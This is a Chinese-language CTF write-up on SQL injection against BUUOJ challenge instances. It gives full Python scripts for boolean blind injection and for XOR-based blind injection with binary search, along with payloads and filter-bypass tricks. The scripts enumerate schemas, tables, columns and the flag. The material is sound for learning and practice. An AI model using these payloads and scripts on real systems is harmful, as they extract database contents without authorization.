基于python脚本的sql注入合集
前言
sql注入在ctf的web方向中是常见题型。简单的sql注入用sqlmap跑一跑自然而然就跑出来了。这篇文章是针对sqlmap跑起来困难的题目,也就是用python写脚本来跑的题目。 那么这种写脚本的题目也有不同的注入方式,例如布尔盲注、时间盲注、异或注入等等,都是通过写脚本来获取sql信息的。这篇文章就写下我认为比较有价值的写脚本题型!
布尔盲注
分析题目
这题其实有很多解法,这里我选择比较简答的布尔盲注来实现。
我们首先进入login.php 见到登录页面,先试试admin 发现报错 账号或密码错误
我们在看看其他的用户名 可以发现报错的是 账号不存在
那么我们可以得出结论 当用户名存在时,输错密码报错 用户名或密码错误 当用户名不存在时,无论密码如何都报错 账号不存在 那么我们可以通过这个回显来判断我们的注入语句是否正确。
拿出我们的bp,给网页抓个包,放入repeater
用admin账号登录,显示 用不存在的账号登录
admin:true {"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"} woodwhale:false {"error":1,"msg":"\u8d26\u53f7\u4e0d\u5b58\u5728"}
可以明显看到回显的长度不同,我们把输入admin时的回显视为true,输入不存在的用户名的回显视为false,基于这一点,我们写python脚本
我们再判断是字符型还是数字型
回显为true,简单的数字型注入。
在这之后又判断有无过滤,发现select有过滤,用大写即可避开。
爆数据库
对于数据库,我还是得说一句,大部分情况,flag都放在了当前数据库下的某张表中,也就是database(),但是有些题目的flag会放在其他数据库中,所以如果时间充分,我们需要查询所有的数据库。
关键语句
// 查询所有的数据库
(seLect(group_concat(schema_name))from(information_schema.schemata))
当然,因为我们是布尔盲注,所以还有一个关键函数substr,例如 substr(abc,1,1)='a'返回的就是true,substr(str,i,j)的str参数是字符串,i和j表示从第i位开始,第j个字符串。
那么我们可以构造出关键语句
name="admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #"
pass="123"
name中的{0}和{1}是python 的format表达式,和%d %s的作用一样,只不过不需要定义形式。 那么我们将上述data放入一个集合中
data = {'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
接着构造脚本
import requests
import time
url = "http://ae08b6be-3b2e-4194-a003-9827cda4497e.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""
for num in range(1,500):
print(num)
for i in dictionary:
data = {'name':"admin' and substr((seLect(group_concat(schema_name))from(information_schema.schemata)),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
res = requests.post(url = url, data = data)
time.sleep(0.2)
if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
flag += i
print(flag)
break
print(flag)
得到运行结果 好的,我们只看到了note有效数据库,那么database()肯定就是note了。
爆表
我们知道了当前数据库是note其实没什么用,因为有效数据库就是它,database()函数的效果与‘note’一致 那么,我们现在需要从note中得到有关表的信息。 关键语句
# 查询数据库的所有表
(select(group_concat(table_name))from(information_schema.tables)where(table_schema='数据库名'))
构造data
data = {'name':"admin' and substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
构造完上述内容后,我们直接写脚本运行
import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""
for num in range(1,500):
print(num)
for i in dictionary:
data = {'name':"admin' and substr((seLect(group_concat(table_name))from(information_schema.tables)where(table_schema='note')),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
res = requests.post(url = url, data = data)
time.sleep(0.1)
if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
flag += i
print(flag)
break
print(flag)
得到运行结果 那么note数据库中有fl4g和users表。超大概率flag就在fl4g这张表中。
爆字段
我们从fl4g这张表中,将其中的字段爆出来。
关键的sql语句
(select(group_concat(column_name))from(information_schema.columns)where(table_name='表名'))
我们先在bp上实验一下语句是否有问题,这里的语句问题包括单词的拼写是否有问题,括号的位置和数量是否正确等等 我们发现回显true证明语句没问题
那么写data集合
data = {'name':"admin' and substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
写完关键集合之后,构造脚本
import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""
for num in range(1,500):
print(num)
for i in dictionary:
data = {'name':"admin' and substr((seLect(group_concat(column_name))from(information_schema.columns)where(table_name='fl4g')),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
res = requests.post(url = url, data = data)
time.sleep(0.1)
if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
flag += i
print(flag)
break
print(flag)
运行得到字段名flag
爆flag
在得知flag位于note数据库下fl4g表中的flag字段下,我们通过简单的select语句就可以得到flag了
关键sql语句
(select(group_concat(字段名))from(数据库名.表名))
在bp中试着跑一下,回显得到true,说明我们的语句没问题 构造data集合
data = {'name':"admin' and substr((seLect(group_concat(flag))from(note.fl4g)),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
写py脚本
import requests
import time
url = "http://76af3b30-86c8-4196-a99f-2e250fd602f3.node3.buuoj.cn/login.php"
dictionary = '}qwertyuiopasdfghjklzxcvbnm-=+_,.1234567890{'
flag = ""
for num in range(1,500):
print(num)
for i in dictionary:
data = {'name':"admin' and substr((seLect(group_concat(flag))from(note.fl4g)),{0},1)='{1}' #".format(num,i),
'pass':'123456'}
res = requests.post(url = url, data = data)
time.sleep(0.1)
if res.text == r'{"error":1,"msg":"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"}' :
flag += i
print(flag)
break
print(flag)
运行,得到flag
那么到这里最简单的暴力布尔就完成了,为了追求速度,我们可以选择二分脚本来破解。这题就不演示了。二分的话在下面写。
异或注入
异或注入其实也就是运用了异或的布尔盲注,性质与布尔盲注一样,也是判断回显的true OR false
那么简单讲一下异或注入的原理
异或是一种逻辑运算,运算法则简言之就是:两个条件相同(同真或同假)即为假(0),两个条件不同即为真(1),null与任何条件做异或运算都为null,如果从数学的角度理解就是,空集与任何集合的交集都为空。 mysql里异或运算符为^ 或者 xor 两个同为真的条件做异或,结果为假
那么我们可以利用异或的性质,来做一个简单的过滤判断
http://127.0.0.1/index.php?id=1'^(length('union')=5)%23
当union被过滤时1^0 输出id=1 回显正常 当union没被过滤时 1 ^ 1 输出 id=0 回显 error
根据这个性质,我们引入题目来分析
[CISCN2019 华北赛区 Day2 Web1]Hack World
分析题目
上来就告诉我们flag在flag表的flag字段中,那么我们默认就是当前使用的数据库中
输入1,会回显
Hello, glzjin wants a girlfriend.
输入2,会回显
Do you want to be my girlfriend?
输入0,会回显
Error Occured When Fetch Result.
输入1/1,会回显
Hello, glzjin wants a girlfriend.
和输入1的回显一致,那么是数字型注入
输入1’ or 1=1 #,回显
SQL Injection Checked.
那么是有过滤的
用bp进行fuzz测试 得到length=472的是可以使用的
那么根据这些可以使用的单词来注入。
爆flag
关键sql语句
id=0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})
id=1时我们认为回显时true id=0时我们认为回显时false 那么0^1=1
并且0^0=0 那么如果异或符号后面的语句为真(即为1),就会回显Hello, glzjin wants a girlfriend.,否则回显Error Occured When Fetch Result.
我们在bp上试着跑一下这个语句 发现符合我们的预期。
根据这性质,我们写个二分脚本
import requests
import time
url = 'http://68649546-a733-4808-b46d-b5c5bd9f0f6c.node3.buuoj.cn/index.php'
flag = ''
for i in range(1,3000):
l = 33
r = 126
mid = (l + r) // 2
while l < r:
time.sleep(0.1)
data = {
'id':'0^(ascii(substr((select(flag)from(flag)),{0},1))>{1})'.format(i,mid)
}
html = requests.post(url,data=data)
if 'glzjin' in html.text:
l = mid + 1
else:
r = mid
mid = (l + r) // 2
if (l <= 33 or l >= 126):
break
flag += chr(mid)
print(flag)
print("flag->:"+flag)
运行得到flag
未完待续